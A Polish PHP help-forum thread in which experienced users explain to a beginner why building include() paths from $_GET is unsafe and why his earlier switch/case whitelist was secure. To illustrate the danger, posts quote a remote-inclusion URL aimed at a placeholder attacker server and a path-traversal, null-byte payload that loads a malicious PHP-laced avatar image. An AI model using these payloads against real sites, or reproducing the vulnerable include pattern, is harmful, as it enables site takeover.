![]() |
![]() ![]() |
![]() |
![]()
Post
#1
|
|
Grupa: Zarejestrowani Postów: 40 Pomógł: 0 Dołączył: 20.02.2008 Ostrzeżenie: (0%) ![]() ![]() |
Mam taki kod:
Kod <?php $plik1 = "katalog/$_GET[lol]".".php"; include($plik1); ?> i link: Kod <a href="katalog/index.php?lol=plik1" onfocus=blur()>link1</a> Jak przekształcic ten pierwszy kod bym mógł includowac wiecej linków? Wczesniej to robiłem w taki sposób: Kod <? switch ($_GET['lol']) { case 1: include ("katalog/plik1.php"); break; case 2: include ("katalog/plik2.php"); break; } ?> ale był to niebezpieczny sposób Ten post edytował predator 23.02.2008, 17:13:03 |
|
|
![]()
Post
#2
|
|
![]() Grupa: Zarejestrowani Postów: 1 387 Pomógł: 273 Dołączył: 18.02.2008 Ostrzeżenie: (0%) ![]() ![]() |
ale był to niebezpieczny sposób Twój nowy sposób jest raczej niebezpieczny, a nie stary ![]() -------------------- XMPP: l0ud@chrome.pl
|
|
|
![]()
Post
#3
|
|
![]() Grupa: Moderatorzy Postów: 4 465 Pomógł: 137 Dołączył: 26.03.2004 Skąd: Gorzów Wlkp. ![]() |
Dlaczego niebezpieczny? Właśnie bardzo bezpieczny, bo była skończona ilość możliwości i nie bazowało to na nazwie pliku.
Co do pytania... jak więcej? Kilka różnych include? To w takim razie musisz przekazać więcej parametrów do skryptu i użyć pętli do odczytania nazw plików, bo $_GET['lol'] to teraz jest tablica.
Pozdrawiam. Popraw proszę tytuł topiku na zgodny z zasadami forum Przedszkole -------------------- To think for yourself you must question authority and
learn how to put yourself in a state of vulnerable, open-mindedness; chaotic, confused, vulnerability, to inform yourself. Think for yourself. Question authority. |
|
|
![]()
Post
#4
|
|
Grupa: Zarejestrowani Postów: 40 Pomógł: 0 Dołączył: 20.02.2008 Ostrzeżenie: (0%) ![]() ![]() |
http://www.webtips.pl/index.php?showtopic=3899&hl= tutaj jest opisane dlaczego nie bezpieczne
nie chce includowac kilka plików za jednym razem tylko poprostu kilka linków zrobic i nie wiem jak bo jak bede tak pisał: Kod <?php $plik1 = "katalog/$_GET[lol]".".php"; include($plik1); ?> <?php $plik2 = "katalog/$_GET[lol]".".php"; include($plik2); ?> <?php $plik3 = "katalog/$_GET[lol]".".php"; include($plik3); ?> by móc potem 3 linki utworzyc to kod jest ten błędny jak robie tak: Kod <? switch (katalog/$_GET[lol]".".php) { case plik1: include ($plik1); break; case plik2: include ($plik2); break; case plik3: include ($plik3); break; } ?> to tez nie działa Ten post edytował predator 23.02.2008, 17:27:08 |
|
|
![]()
Post
#5
|
|
![]() Grupa: Zarejestrowani Postów: 1 387 Pomógł: 273 Dołączył: 18.02.2008 Ostrzeżenie: (0%) ![]() ![]() |
Sposób który stosowałeś wcześniej, był jak najbardziej poprawny i bezpieczny. Znajdź mi fragment w tamtym arcie, który odradza takiego rozwiązania... To co zaproponowałeś, czyli includowanie bezpośrednio tego co jest w GET, nawet przy dodawaniu folderu i rozszerzenia po prostu nie jest bezpieczne.
-------------------- XMPP: l0ud@chrome.pl
|
|
|
![]()
Post
#6
|
|
![]() Grupa: Moderatorzy Postów: 4 465 Pomógł: 137 Dołączył: 26.03.2004 Skąd: Gorzów Wlkp. ![]() |
...
![]() Teraz to już wogóle nie rozumiem. Może zmień zawartość lol=plik w każdym linku? -------------------- To think for yourself you must question authority and
learn how to put yourself in a state of vulnerable, open-mindedness; chaotic, confused, vulnerability, to inform yourself. Think for yourself. Question authority. |
|
|
![]()
Post
#7
|
|
Grupa: Zarejestrowani Postów: 40 Pomógł: 0 Dołączył: 20.02.2008 Ostrzeżenie: (0%) ![]() ![]() |
juz sobie poradziłem
Kod <?php $plik1 = "katalog/$_GET[lol1]".".php"; include($plik1); ?> <?php $plik2 = "katalog/$_GET[lol]".".php"; include($plik2); ?> zmieniłem w kazdym includowaniu "lol" i przy kazdym linku bede musial dodawac inny numerek :/ nie wygodne to przedtem takim sposobem ale gdy tu i tam było to samo słowo "lol" to mi includowalo 2 pliki na raz gdy kliknąłem w jeden link podaje cytat tego tutka: Cytat Kod <?php include($_GET['adres']); ?> Powoduje to oczywiście dołączenie pliku podanego w zmiennej, ale jest to bardzo NIEBEZPIECZNE, ponieważ każdy może do tej zmiennej wpisać co mu się żywnie podoba, np. Kod naszastrona.pl?adres=http://serwerhackera.pl/niszcz.php Pierwszym co należy robić to nie podawać rozszerzenia w adresie strony, czyli adres wygląda tak Kod naszastrona.pl/index.php?adres=plik a w kodzie będziemy mieli Kod <?php $plik = "$_GET[adres]".".php"; include($plik); ?> Jest to już jakaś forma zabezpieczenia, ale wystarczy, że hacker zgadnie to rozszerzenie które dodajemy, i dalej może wczytać swój plik Kod naszastrona.pl?adres=http://serwerhackera.pl/niszcz Aby skrypt stał się bezpieczny musimy wymusić katalog z którego będziemy ładowali pliki... adres ciągle taki: Kod naszastrona.pl/index.php?adres=plik ale w kodzie zaszły zmiany Kod <?php $plik = "katalog/$_GET[adres]".".php"; include($plik); ?> Ostatnia wersja naszego skryptu jest już bezpieczna, ponieważ wczytuje ze zgóry narzuconego katalogu "katalog"... |
|
|
![]()
Post
#8
|
|
![]() Grupa: Moderatorzy Postów: 4 465 Pomógł: 137 Dołączył: 26.03.2004 Skąd: Gorzów Wlkp. ![]() |
To teraz popatrz na kod, który pokazałeś
Gdzie coś Ci ktoś wklei? Jedynie może wymusić Wykonanie konkretnego case, ale to chyba dobrze, prawda? --edit Dla pewności:
-------------------- To think for yourself you must question authority and
learn how to put yourself in a state of vulnerable, open-mindedness; chaotic, confused, vulnerability, to inform yourself. Think for yourself. Question authority. |
|
|
![]()
Post
#9
|
|
![]() Grupa: Zarejestrowani Postów: 1 387 Pomógł: 273 Dołączył: 18.02.2008 Ostrzeżenie: (0%) ![]() ![]() |
A ja jeszcze dodam coś od siebie, dlaczego Twoje nowe rozwiązanie jest niebezpieczne.
Załóżmy, że na stronie posiadasz również forum z możliwością uploadowania avatarów. Przygotuję sobie plik jpeg i wpiszę do niego złośliwy kod php (da się to zrobić). Plik jpeg zuploaduję na forum, i jego ścieżka będzie przykładowo taka: Kod ./forum/uploads/asd.jpg O ile samo umieszczenie takiego pliku nie jest niebezpieczne, wczytanie go Twoim skryptem już tak: Kod katalog/index.php?lol=../forum/uploads/asd.jpg% 0000 bez spacji po procencie Skrypt się wczyta, wykona i strona leży ![]() Ten post edytował l0ud 23.02.2008, 17:58:08 -------------------- XMPP: l0ud@chrome.pl
|
|
|
![]()
Post
#10
|
|
Grupa: Zarejestrowani Postów: 40 Pomógł: 0 Dołączył: 20.02.2008 Ostrzeżenie: (0%) ![]() ![]() |
hmm chyba i macie racje ale w tym przykładzie co ja myslalem ze bezpieczny to jest wymuszony katalog z którego ma byc wykonywany plik a w tym z uzyciem case nie wiem czy jest takie wymuszenie
|
|
|
![]()
Post
#11
|
|
![]() Grupa: Zarejestrowani Postów: 1 387 Pomógł: 273 Dołączył: 18.02.2008 Ostrzeżenie: (0%) ![]() ![]() |
Pomyśl logicznie:
(w case) Czy tutaj odnosisz się gdziekolwiek do jakiejś zmiennej? Niewłaściwa zawartość spowoduje co najwyżej brak wykonania się case (co możesz przewidzieć używając 'default:') i w efekcie niedołączeniem żadnego pliku... -------------------- XMPP: l0ud@chrome.pl
|
|
|
![]()
Post
#12
|
|
Grupa: Zarejestrowani Postów: 28 Pomógł: 3 Dołączył: 15.06.2007 Ostrzeżenie: (0%) ![]() ![]() |
|
|
|
![]()
Post
#13
|
|
Grupa: Zarejestrowani Postów: 40 Pomógł: 0 Dołączył: 20.02.2008 Ostrzeżenie: (0%) ![]() ![]() |
ja dopiero sie ucze php ale rozumiem juz, dziękuje
--edit-- Kod <?php if(file_exists(katalog/$_GET['action'].".php")){ include(katalog/$_GET['action'].".php"); } else { echo "Plik nie istnieje"; } ?> ciekawy pomysł, ale troche zawiły ten kod Ten post edytował predator 23.02.2008, 18:50:10 |
|
|
![]()
Post
#14
|
|
![]() Grupa: Zarejestrowani Postów: 1 387 Pomógł: 273 Dołączył: 18.02.2008 Ostrzeżenie: (0%) ![]() ![]() |
A może w ten sposób.
Prawdopodobnie również nie pomogło by przy 'moim' ataku. file_exists() zdaje się zabezpieczy jedynie przed wczytaniem kodu z zewnętrznego serwera. Pomijam fakt, że kod jest błedny. -------------------- XMPP: l0ud@chrome.pl
|
|
|
![]()
Post
#15
|
|
Grupa: Zarejestrowani Postów: 40 Pomógł: 0 Dołączył: 20.02.2008 Ostrzeżenie: (0%) ![]() ![]() |
mam jeszcze pytanie, co oznacza fragment:
Kod $page=(integer) ? |
|
|
![]()
Post
#16
|
|
![]() Grupa: Zarejestrowani Postów: 62 Pomógł: 2 Dołączył: 29.12.2006 Skąd: Polska, gliwice Ostrzeżenie: (0%) ![]() ![]() |
|
|
|
![]()
Post
#17
|
|
Grupa: Zarejestrowani Postów: 40 Pomógł: 0 Dołączył: 20.02.2008 Ostrzeżenie: (0%) ![]() ![]() |
a jaki to ma udział w bezpieczeństwie tego kodu?
|
|
|
![]()
Post
#18
|
|
![]() Grupa: Zarejestrowani Postów: 1 387 Pomógł: 273 Dołączył: 18.02.2008 Ostrzeżenie: (0%) ![]() ![]() |
a jaki to ma udział w bezpieczeństwie tego kodu? Taki, że ograniczasz zakres tej zmiennej do liczb całkowitych. Nie potrafię Ci powiedzieć co to pomoże gdy użyjesz instrukcji case, bo i tak jest bezpiecznie ![]() -------------------- XMPP: l0ud@chrome.pl
|
|
|
![]() ![]() |
![]() |
Wersja Lo-Fi | Aktualny czas: 16.06.2025 - 19:03 |